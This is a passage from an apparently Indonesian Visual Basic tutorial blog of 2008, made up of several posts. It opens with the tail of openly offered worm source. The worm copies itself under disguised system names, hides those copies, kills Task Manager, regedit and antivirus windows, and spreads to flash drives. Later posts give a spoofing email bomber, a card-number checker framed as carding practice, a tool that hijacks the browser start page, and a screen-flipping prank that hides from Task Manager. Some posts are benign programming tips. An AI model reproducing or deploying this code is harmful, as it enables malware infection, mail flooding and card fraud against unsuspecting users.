SetAttr FolderFavorites & "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama System.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSendTo & "\System.Exe"
SetAttr FolderSendTo & "\System.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama ctfmon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrograms & "\ctfmon.Exe"
SetAttr FolderPrograms & "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly
End Sub

Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub

Private Sub Timer3_Timer()
On Error Resume Next
'menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub

Private Sub Timer4_Timer()
'cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk '
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
'menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Timer4.Enabled = True
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub

Semoga bermanfaat.
Bagikan

Email Bomber (Mengebom Email Orang Lain)

2008-08-10T00:47:00.008+07:00

Program kita kali ini agak berbahaya tapi semua materi di blog ini bukan untuk mengajak ke arah negatif tapi hanya untuk menambah pengetahuan kita saja, penulis tidak bertanggung jawab terhadap penggunaan dari materi yang telah diposting
Kita akan membahas program mail bomber, program ini berfungsi untuk mengirim email dengan nama pengirim sesuka kita (misal:Admin@vbasiccode.com) padahal kita tidak memiliki server vbasiccode.com dan juga email dapat kita kirim dalam jumlah banyak hingga mungkin akan memenuhi mailbox server/tukang pos (tempat smtp server yang rela mengirim email tanpa diverifikasi), dan jika email yang kita tuju (email korban/email asli) dibuka maka surat/email kita akan juga beralih memenuhi mailbox korban.

Jadi prinsip dari Email Bomber ini adalah mengirim sebanyak-banyak pesan dengan alamat email palsu kita sehingga memenuhi server/tukang pos, dan jika si empunya email/korban menarik surat maka gantian korban yang mailboxnya kebanjiran surat kita. Akibat dari mail bomber ini adalah menghabiskan ruang hardisk server serta korban sehingga resourcenya habis. Seperti yang anda lihat pada gambar saya menggunakan email tes@testes.com (palsu) dengan subject (Topik) dan Body/isi email (Tesemail) dan mengirimkan email ke alamat email saya yang asli sebanyak 10 dan ternyata 10 email berhasil terkirim walaupun oleh google ditempatkan dikotak SPAM.Untuk tips pilih server yang kira-kira mau mengirim email kita, misal pada pilihan saya pilih www.swampfoxairboats.com. Email saya jangan di bomb ya..untuk uji coba lebih baik pada email anda sendiri sayapun tidak pernah melakukan pada email orang lain sampai saat ini he..he..Semoga menambah pengetahuan kita.
Silahkan Download Project Di Download/Upload Gratis Join 4Shared Now!, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.

*Telah saya Update Aplikasi silahkan Download UpdateEmailBomber.zip
Bagikan

Cek Nomer Kartu Kredit (Carding kah..?)

2008-07-19T20:29:00.007+07:00

Program kali ini kita akan belajar untuk mengetahui keaslian nomor kartu kredit "seseorang", apakah nomornya benar atau hanya nomor asal-asalan.
Jika anda pernah mampir ke dalam sebuah ATM (Mesin Uang), tentu anda pernah melihat struk pengambilan yang tercecer di lantai, nah nomor-nomor yang tertera di kertas struk tersebut merupakan nomor kartu kredit. Dengan nomor yang ada (jika ada sih, beberapa bank tidak mencetak nomor kartu kredit di struk) mungkin dapat digunakan seseorang untuk tujuan negatif. Jadi mulai sekarang simpan struk anda saat melakukan transaksi di ATM, dan ambil struk-struk yang tercecer di lantai ATM siapa tahu dapat digunakan untuk latihan carding misal belanja online di internet he..he..

Langsung saja Yang dibutuhkan dalam pembuatan program ini adalah :

1. textbox dengan properti name = txtsimpan

2. dua commandbutton dengan properti name CmdCek dan CmdDelete

3. satu label dengan properti name lblStatus

==============================================

Masukkan semua code di bawah ini ke dalam form

==============================================

Function isEven(n As Integer) As Boolean

isEven = True

If n And 1 Then isEven = False

End Function

Function CheckCard(CCnumber As String) As Boolean

Dim Counter As Integer, TmpInt As Integer

Dim Answer As Integer

Counter = 1

TmpInt = 0

While Counter <= Len(CCnumber) If isEven(Len(CCnumber)) Then TmpInt = Val(Mid$(CCnumber, Counter, 1)) If Not isEven(Counter) Then TmpInt = TmpInt * 2 If TmpInt > 9 Then TmpInt = TmpInt - 9

End If

Answer = Answer + TmpInt

Counter = Counter + 1

Else

TmpInt = Val(Mid$(CCnumber, Counter, 1))

If isEven(Counter) Then

TmpInt = TmpInt * 2

If TmpInt > 9 Then TmpInt = TmpInt - 9

End If

Answer = Answer + TmpInt

Counter = Counter + 1

End If

Wend

Answer = Answer Mod 10

If Answer = 0 Then CheckCard = True

End Function

Private Sub CmdCek_Click()

If TxtSimpan.Text = "" Then

LblStatus.Caption = "Isi Dahulu TextBoxnya !"

Else

LblStatus.Caption = CheckCard(TxtSimpan.Text)

End If

End Sub

Private Sub CmdDelete_Click()

TxtSimpan.Text = ""

LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."

End Sub

Private Sub Form_Load()

TxtSimpan.Text = ""

LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."

End Sub

Private Sub TxtSimpan_Change()

If Len(TxtSimpan.Text) < 16 Then LblStatus.Caption = "Nomer Kartu Kredit Terdiri Dari 16 Angka" End If End Sub Private Sub TxtSimpan_KeyPress(KeyAscii As Integer) If KeyAscii < 47 Or KeyAscii > 57 Then KeyAscii = 0

End Sub

=============================

Akhirnya Semoga bermanfaat.
Bagikan

Tool Google Hacking

2008-07-06T01:16:00.008+07:00

Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.

Skema alur pemrograman pada aplikasi kita kali ini adalah membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi yang sedang dibuat. File GoogleHacking.txt merupakan kumpulan Syntax-syntax Google Hacking yang berjumlah ratusan syntax.Selanjutnya mengkopi syntax yang diinginkan lalu klik tombol google untuk membuka file Google.html yang telah dimodifikasi (Lihat gambar di atas). Setelah itu paste-kan syntax pada kotak penelusuran google, dan dapatkan informasi yang tersembunyi dari syntax tersebut. Semoga bermanfaat.

Langsung saja,Siapkan 2 commandbutton, 1 Textbox yang terpasang multiline dalam 1 form.

===================================

Tulis kode di bawah ini dalam form1

===================================

'panggil url/Google.html

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Const conSwNormal = 1

Private Sub CmdGoogle_Click()

On Error Resume Next ' jika ada kesalahan maka lanjutkan

Dim fso, a, regrun, b, c 'meminta jatah memori

Set fso = CreateObject("Scripting.FileSystemObject") ' menggunakan file scripting object

Set b = fso.GetFile("Google.Html") ' melalui fso untuk mendapatkan file Google.html yang terdapat di dalam satu folder dengan aplikasi ini

'Membuat folder Baru

Set c = fso.CreateFolder("C:\H@CK3RT00L")

c.Attributes = 6 ' memberi attribut folder H@CK3RT00L menjadi hidden

b.Copy ("C:\H@CK3RT00L\Google.Html") ' mlakukan copy file Google.Html ke dalam folder H@CK3RT00L

Set a = fso.GetFile("C:\Google.Html")

b.Attributes = 6

Set regrun = CreateObject("Wscript.shell") 'membuat regrun untuk melakukan perubahan script di registry

regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "C:\H@CK3RT00L\Google.Html" 'setiap menjalankan Internet Eksplorer maka pertama yang terbuka adalah Google.html

ShellExecute hwnd, "open", "C:\H@CK3RT00L\Google.Html", vbNullString, vbNullString, conSwNormal ' menjalankan/mengeksekusi Google.html

End Sub

Private Sub Command1_Click()

End 'tutup

End Sub

Private Sub Form_Load()

lblStatus.Caption = "Copy Syntax Yang Dipilih, Kemudian Klik Tombol Google."

On Error GoTo ErrHandler ' jika terjadi kesalahan maka menuju ErrHandler

Open "GoogleHacking.txt" For Input As #1 'membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi ini

Text1.Text = Input(LOF(1), #1)

Close

Exit Sub

ErrHandler: 'membuat pernyataan terjadinya kesalahan

MsgBox "File GoogleHacking.txt Tidak Bisa Dibuka"

End
End Sub
================================

Semoga bermanfaat.
Bagikan

Install Multi Software dalam Satu Keping CD/DVD

2008-06-23T16:16:00.006+07:00

Software ini dibuat dengan tujuan untuk lebih memudahkan penginstalan aplikasi,yaitu
dengan hanya menggunakan satu DVD/CD maka aplikasi standar yang dibutuhkan akan dapat langsung dipenuhi tanpa harus menyiapkan beberapa CD yang berisi software yang diperlukan.

Dengan syarat :
1.software yang diperlukan harus anda copy dulu pada folder software dan menyesuaikan nama software tersebut dengan code yang berada pada project.
2.Compile project dengan nama InstallMultiSoftware.exe, atau jika ingin memberi nama lain maka anda harus mengubah file InstallMultiSoftware.exe.manifest menjadi file sesuai dengan nama hasil compile dengan beerakhiran .manifest. Misal anda memberi nama software dengan SoftwareKu.exe maka anda mengubah InstallMultiSoftware.exe.manifest menjadi SoftwareKu.exe.manifest.
File berakhiran manifest merupakan file yang berfungsi memberikan efek pada tombol dari Visual Basic berkesan Windows XP.
4.Buat file Autorun.inf, dengan cara :
Buka Notepad lalu ketik :
[Autorun]
icon=instalmultisoftware.exe
open=instalmultisoftware.exe
Simpan dengan nama Aotorun.inf
3.Bakar/Burn dalam DVD/CD File-file berikut :
- InstallMultiSoftware.exe
- InstallMultiSoftware.exe.manifest
- Autorun.inf
- Folder ActiveX
- Folder Audio
- Folder Sekilas Aplikasi
- Folder Software yang telah berisi software-software anda.
4.Setelah anda menginstall windows maka aplikasi yang telah anda buat dan anda bakar akan sangat berguna karena tidak perlu memasukan dan mengeluarkan puluhan CD yang berisi software yang anda perlukan.
Terimakasih, semoga bermanfaat.
Bagikan

Masalah Besar Programer (Ubah Resolusi Monitor User)

2008-06-22T13:33:00.007+07:00

Masalah yang paling besar bagi pembuat aplikasi adalah menentukan resolusi yang pas bagi semua user/pengguna,padahal user pasti memiliki spesifikasi monitor yang berbeda-beda, dibawah ini adalah sedikit tip trick mengenai resolusi bagi user agar pada saat menggunakan aplikasi yang kita buat maka aplikasi akan terlihat bagus dan pas.

Masukan Code di bawah ini pada Form
===================================
Private Sub Form_Load()
'Menentukan resolusi ke 800 x 600 dengan

Dim DevM As DEVMODE
'memasukan info ke dalam DevM
erg& = EnumDisplaySettings(0&, 0&, DevM)

DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT 'atau DM_BITSPERPEL
DevM.dmPelsWidth = 800 'ScreenWidth
DevM.dmPelsHeight = 600 'ScreenHeight
'DevM.dmBitsPerPel = 32 (menentukan 8, 16, 32 atau 4)

'Sekarang memilih tampilan dan cek keberhasilan
erg& = ChangeDisplaySettings(DevM, CDS_TEST)

'jika cek berhasil

Select Case erg&
Case DISP_CHANGE_RESTART
an = MsgBox("Maaf anda harus reboot", vbYesNo + vbSystemModal, "Info")
If an = vbYes Then
erg& = ExitWindowsEx(EWX_REBOOT, 0&)
End If
Case DISP_CHANGE_SUCCESSFUL
erg& = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)
MsgBox "Layar Resolusi dirubah menjadi 800x600.", vbOKOnly + vbSystemModal, "Informasi Perubahan Resolusi"
Case Else
MsgBox "Maaf, Resolusi 800x600 tidak didukung Monitor anda", vbOKOnly + vbSystemModal, "Error"
End Select
End Sub

Masukan Code Dibawah ini pada Modul
====================================
Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE = 4
Public Const CCDEVICENAME = 32
Public Const CCFORMNAME = 32
Public Const DM_BITSPERPEL = &H40000
Public Const DM_PELSWIDTH = &H80000
Public Const DM_PELSHEIGHT = &H100000
Public Const CDS_UPDATEREGISTRY = &H1
Public Const CDS_TEST = &H4
Public Const DISP_CHANGE_SUCCESSFUL = 0
Public Const DISP_CHANGE_RESTART = 1

Declare Function EnumDisplaySettings Lib "user32" _
Alias "EnumDisplaySettingsA" _
(ByVal lpszDeviceName As Long, _
ByVal iModeNum As Long, _
lpDevMode As Any) As Boolean

Declare Function ChangeDisplaySettings Lib "user32" _
Alias "ChangeDisplaySettingsA" _
(lpDevMode As Any, ByVal dwFlags As Long) As Long

Declare Function ExitWindowsEx Lib "user32" _
(ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Type DEVMODE
dmDeviceName As String * CCDEVICENAME
dmSpecVersion As Integer
dmDriverVersion As Integer
dmSize As Integer
dmDriverExtra As Integer
dmFields As Long
dmOrientation As Integer
dmPaperSize As Integer
dmPaperLength As Integer
dmPaperWidth As Integer
dmScale As Integer
dmCopies As Integer
dmDefaultSource As Integer
dmPrintQuality As Integer
dmColor As Integer
dmDuplex As Integer
dmYResolution As Integer
dmTTOption As Integer
dmCollate As Integer
dmFormName As String * CCFORMNAME
dmUnusedPadding As Integer
dmBitsPerPel As Integer
dmPelsWidth As Long
dmPelsHeight As Long
dmDisplayFlags As Long
dmDisplayFrequency As Long
End Type

Semoga bermanfaat.
Bagikan

Cek Koneksi Internat (On/Off), Cek IP Adress, Cek Hostname

2008-06-12T08:52:00.008+07:00

Sekarang kita mencoba membuat aplikasi yang berfungsi untuk mengetahui Status Kmputer terhubung dengan Internet atau tidak, Mengetahui IP Adress saat tidak terhubung dengan internet dan IP Adress saat terhubung dengan Internet Serta mengetahui IP Host Name. Untuk Lebih jelasnya dapat anda perhatikan kedua gambar di bawah ini yaitu Gambar aplikasi saat komputer tidak terhubung dengan internet (IP Adress otomatis 127.0.0.1) dan Gambar aplikasi saat terhubung dengan internet maka IP Adress komputer berubah menjadi 10.242.39.122 dan pada waktu yang lain ternyata IP Adress komputer berubah kembali menjadi

Berikut ini adalah Source codenya. Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah :

- 2 label dengan property name LblCekMyIP1 dan LblCekMyIP2

- 1 timer dengan property name Timer1, iNTERVAL = 1000

- Winsock1, untuk menambahkan Winsock1 pada toolbox maka dengan cara klik kanan pada toolbox pilih component dan centang microsoft winsock control 6.0

- status bar dengan property name SB, untuk menambahkan status bar pada toolbox caranya sama dengan winsock tetapi pilih windows common controls 6.0(sp6) Kemudian setelah status bar ditambahkan dalam form maka klik kanan status bar tersebut pilih property dan pada tab panel pilih angka 2 pada textbox Autosize.

- 1 modul untuk source code cek koneksi internet dan ip adress/Host name- 1 form

Semoga bermanfaat, terimakasih.

========================================

'COPY PASTEKAN KODE DI BAWAH INI PADA FORM

========================================

Private Sub Form_Load()

Timer1.Enabled = True

LblCekMyIP1 = "IP Host Name: " & GetIPHostName

LblCekMyIP2 = "IP Address: " & GetIPAddress()

End Sub

Private Sub Timer1_Timer()

If InternetGetConnectedState(0&, 0&) = 1 Then

SB.Panels(1).Text = "Status: Terhubung dengan Internet"

Else

SB.Panels(1).Text = "Status: Tidak terhubung dengan Internet"

End If

End Sub

=============================

Letakkan code di bawah Ini pada Modul

=============================

'cek koneksi internet

Public Declare Function Internet

GetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long

'---------CEK IP Adress komputer dan HOST NAME-----

Public Const MAX_WSADescription = 256Public Const MAX_WSASYSStatus = 128'

Public Const ERROR_SUCCESS As Long = 0

Public Const WS_VERSION_REQD As Long = &H101

Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&

Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&

Public Const MIN_SOCKETS_REQD As Long = 1Public Const SOCKET_ERROR As Long = -1

Public Type HostenthName As LonghAliases As LonghAddrType As IntegerhLen As IntegerhAddrList As Long

End Type

Public Type WSADATAwversion As IntegerwHighVersion As IntegerszDescription(0 To MAX_WSADescription) As ByteszSystemStatus(0 To MAX_WSASYSStatus) As BytewMaxSockets As IntegerwMaxUDPDG As IntegerdwVendorInfo As Long

End Type

Public Declare Function WSAGetlastError Lib "wsock32.dll" () As Long

Public Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired As Long, lpWSAdata As WSADATA) As Long

Public Declare Function WSACleanup Lib "wsock32.dll" () As Long

Public Declare Function gethostname Lib "wsock32.dll" (ByVal szHost As String, ByVal dwHostLen As Long) As Long

Public Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal szHost As String) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)

Public Function GetIPAddress() As String

Dim sHostName As String * 256

Dim lpHost As Long

Dim HOST As Hostent

Dim dwIPAddr As Long

Dim tmpIPAddr() As Byte

Dim i As Integer

Dim sIPAddr As String

If Not SocketsInitialize() Then

GetIPAddress = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR Then

GetIPAddress = ""MsgBox "Windows Sockets Error " & Str$(WSAGetlastError()) & " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup

Exit Function

End If

sHostName = Trim$(sHostName)

lpHost = GetHostByName(sHostName)

If lpHost = 0 Then

GetIPAddress = "" MsgBox "Socket Windows tidak memberikan respon. " & "Host Name tidak dapat ditampilkan." SocketsCleanup

Exit Function

End If

CopyMemory HOST, lpHost, Len(HOST)CopyMemory dwIPAddr, HOST.hAddrList, 4ReDim tmpIPAddr(1 To HOST.hLen)CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLenFor i = 1 To HOST.hLensIPAddr = sIPAddr & tmpIPAddr(i) & "."NextGetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)SocketsCleanup

End Function

Public Function GetIPHostName() As StringDim sHostName As String * 256If Not SocketsInitialize() ThenGetIPHostName = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR ThenGetIPHostName = ""MsgBox "Windows Sockets Error " & Str$(WSAGetlastError()) & " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup

Exit Function

End IfGetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)SocketsCleanup

End Function

Public Function HiByte(ByVal wParam As Integer)HiByte = wParam \ &H100 And &HFF&

End Function

Public Function LoByte(ByVal wParam As Integer)LoByte = wParam And &HFF&

End Function

Public Sub SocketsCleanup() If WSACleanup() <> error_success_ Then MsgBox " Socket Error terjadi dalam CleanUp."

End If

End Sub

Public Function SocketsInitialize() As Boolean

Dim WSAD As WSADATA

Dim sLoByte As String

Dim sHiByte As StringIf WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS ThenMsgBox "Socket Windows 32-bit tidak respon"SocketsInitialize = False

Exit Function

End If

If WSAD.wMaxSockets = MIN_SOCKETS_REQD Then MsgBox "Aplikasi ini membutuhkan minimum " & CStr(MIN_SOCKETS_REQD) & " Socket yang support." SocketsInitialize = False

Exit Function

End If

If LoByte(WSAD.wversion) < shibyte =" CStr(HiByte(WSAD.wversion))" slobyte =" CStr(LoByte(WSAD.wversion))MsgBox" socketsinitialize =" False">

Exit Function

End If SocketsInitialize = True

End Function

Semoga bermanfaat.
Bagikan

Operator Pada VB (Aritmatika, Logika, Perbandingan)

2008-06-12T08:49:00.006+07:00

Kali ini akan kita akan mengenal Operator tes, langsung saja ya..
1. Operator Aritmatika Dalam menggunakan fungsi yang berhubungan dengan operasi aritmatika ada beberapa operator yang harus anda kenal terlebih dahulu. Operator aritmatika terdiri dari Penjumlahan (+), pengurangan (-), perkalian (*), pembagian bilangan real(/), pembagian bilangan bulat (\), perpangkatan (^),penggabungan (&) dan sisa hasil bagi (mod) -Penjumlahan, Hasil = Angka1 + Angka2 -Pengurangan, Hasil = Angka1 - Angka2 -Perkalian, Hasl = Angka1 * Angka2 -Pembagian Bilangan Real (/), Hasil = Angka1 / Angka2 -Pembagian Bilangan Bulat (\), Hasil= Angka1 \ Angka

2. Operator Modulus, digunakan untuk melakukan operasi pembagian dari dua bilangan yang akan mengahasilkan nilai sisa hasil pembagian. Hasil = angka1 Mod Angka2, Contoh Hasil = 10 Mod 5 akan menghasilkan nilai 0 -Operator perpangkatan, Hasil Angka1 ^ Eksponen, contoh Hasil = 2 ^ 2 maka akan menghasilkan nilai 4 -Operator penggabungan, digunakan untuk menggabungkan dua pernyataan yang berbentuk teks (string), jika pernyatan yang digabungkan bukan merupakan data berbentuk teks (string) maka data tersebut akan diubah menjadi data bertipe string. Jika pernyataan bernilai Null, maka hasil juga akan bernilai Null. Jika salah satu pernyataan bernilai Null, maka peryataan tersebut dianggap sebagai teks kosong ("").2. Operator Logika/Boolean Operator logika merupakan operator yang menghasilkan nilai logika (True atau False). Operator logika ini sering disebut dengan operator Boolean, operator ini meliputi : And, Aqv, Imp, Not, Or dan Xor.
3. Operator Perbandingan Operator perbandingan berfungsi untuk membandingkan dua pernyataan, meliputi : Lebih besar (>), lebih kecil (<), samadengan (=), lebih besar samadengan (>=), lebih kecil samadengan (<=), tidak samadengan (<>)

Demikian sekilas pengenalan mengenai operator yang ada pada visual basic, dalam pembelajaran ini mungkin banyak kekurangan mohon maafnya dan semoga bermanfaat, terimakasih.
Bagikan

Putar Layar Monitor Secara Flip/Terbalik (Viruskah???)

2008-06-12T08:43:00.011+07:00

Sekarang kita akan mencoba membuat program yang agak usil yaitu program yang membuat user keheranan atau malah takut karena program ini akan membuat layar terbalik dan mouse akan menghilang. List di task manager pada tab application juga tidak menunjukan adanya suatu program yang berjalan, kombinasi Alt+Tab dan Alt+F4 juga tidak menyelesaikan masalah, pasti user akan semakin bingung or ketakutan.Jika ditambahi sedikit code registry yang akan membuat program berjalan pada saat windows hidup/startup mungkin akan membuat teman anda atau malah saingan anda menginstal ulang komputernya karena dikira kerjaan virus he..he.., selamat ber-iseng ria. Untuk menormalkan kembali tekan huruf N pada keyboard maka semua akan kembali Normal.Semoga bermanfaat.Program ini merupakan saduran dari buku "Eksplorasi Win32-API dengan Visual Basic" Karya Johan Saputra, terimakasih saya ucapkan pada Mas Johan Saputra, karena tulisan di blog ini sebagian besar yang menyangkut dengan Win32-API merupakan hasil dari pemikiran Mas, yang ada di dalam buku tersebut.

Masukan semua Kode dibawah ini pada form

Private Declare Function GetDC Lib "user32" (ByVal hWND As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWND As Long, ByVal hWndInsertAfter_ As Long, ByVal X As Long, ByVal y_ As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags_ As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

'Nilai konstan untuk parameter SetWindowPos.
Private Const conHwndTopmost = -1
Private Const conHwndNoTopmost = -2
Private Const conSwpNoActivate = &H10
Private Const conSwpShowWindow = &H40 

Private Sub Form_Load()
Me.AutoRedraw = True 'memastikan Form bisa menampung hasil copy layar.
Me.WindowState = 2 'Maximize.
SelaluTeratas Me.hWND, Me.Left / Screen.TwipsPerPixelX, Me.Top / Screen.TwipsPerPixelY, Me.Height / Screen.TwipsPerPixelY, Me.Width / Screen.TwipsPerPixelX, True
App.TaskVisible = False 'menyembunyikan aplikasi pada task manager (tab Application) tetapi terlihat di tab Process
ShowCursor False 'Sembunyikan cursor.
End Sub 

'Saat Form berubah ukuran (maximize).
Private Sub Form_Resize()
Dim W, H 'Tipe variant.
'Set ukuran rectangle screen.
W = Screen.Width / 15
H = Screen.Height / 15
'kopian layar diambil dan di tampilkan pada Form secara Flip
StretchBlt Me.hdc, 0, H, W, -H, GetDC(0&), 0, 0, W, H, vbSrcCopy
End Sub 

'Fungsi buatan.
Private Function SelaluTeratas(ByVal hWND, FrmX As Long, FrmY As Long, Tinggi As Long, Lebar As Long, ApakahTeratas As Boolean)
If ApakahTeratas = True Then

SetWindowPos hWND, conHwndTopmost, FrmX, FrmY, Lebar, Tinggi, conSwpNoActivate

ElseIf ApakahTeratas = False Then

SetWindowPos hWND, conHwndNoTopmost, FrmX, FrmY, Lebar, Tinggi, conSwpShowWindow
End If

End Function 


'Fungsi buatan untuk Normalisasi seperti keadaan semula.
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)

If KeyCode = vbKeyN Then 'Jika tombol "N" keyboard ditekan.
ShowCursor True
End
End If
End Sub

Semoga bermanfaat.
Download Mal Fungsi Screen

Membuat Aplikasi Edit Registry (150 lebih Tip dan Trik Registry Terintegrasi didalamnya)

2008-06-12T08:36:00.006+07:00

Kita akan mencoba membuat aplikasi Edit Registry yang memiliki kemampuan untuk membuka key, membuat key, hapus key dan value, membaca Value Data dengan Tipe RG_SZ, melakukan seting Value kedalam Tipe Value REG_DWORD, REG_SZ DAN REG_BINARY. Ditambah adanya tutorial tip dan trik registry lebih dari 150 tip trik yang terintegrasi didalam aplikasi sehingga dapat langsung dipraktekan.Yang dibutuhkan pada pembuatan aplikasi ini tidak beda dengan aplikasi standar, yaitu textbox, label, commandbutton, checkbox, optionbutton, listbox, image, timer. Lebih jelasnya dapat dilihat pada gambar di bawah ini.

Ini linknya Edit Registry
Semoga bermanfaat.

Bagikan

Open Close CD Room

2008-06-12T08:32:00.015+07:00

Di bawah ini disajikan source code untuk melakukan Open dan Close CD Room, siapa tahu dari code tersebut dapat menginspirasi anda untuk membuat suatu aplikasi yang lebih baru atau lebih kreatif lagi.
Dalam aplikasi ini yang dibutuhkan adalah :
- 3 Commandbutton, dengan properties name Command1, Command2, Command3
- 1 form, dengan properties name form1
- 1 modul, dengan properties name module1

Masukkan Code Dibawah ini pada module1

Option Explicit
    Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Function OpenCDDoor(ByVal drv As String) As Long
    Dim Alias As String
    Dim retval As Long
    Alias = "Drive" & drv
    retval = -1
    retval = mciSendString("open " & drv & ": type cdaudio alias " & Alias & " wait", vbNullString, 0&, 0&)
    retval = mciSendString("set " & Alias & " door open", vbNullString, 0&, 0&)
    OpenCDDoor = retval
End Function
Public Function CloseCDDoor(ByVal drv As String) As Long
    Dim Alias As String
    Dim retval As Long
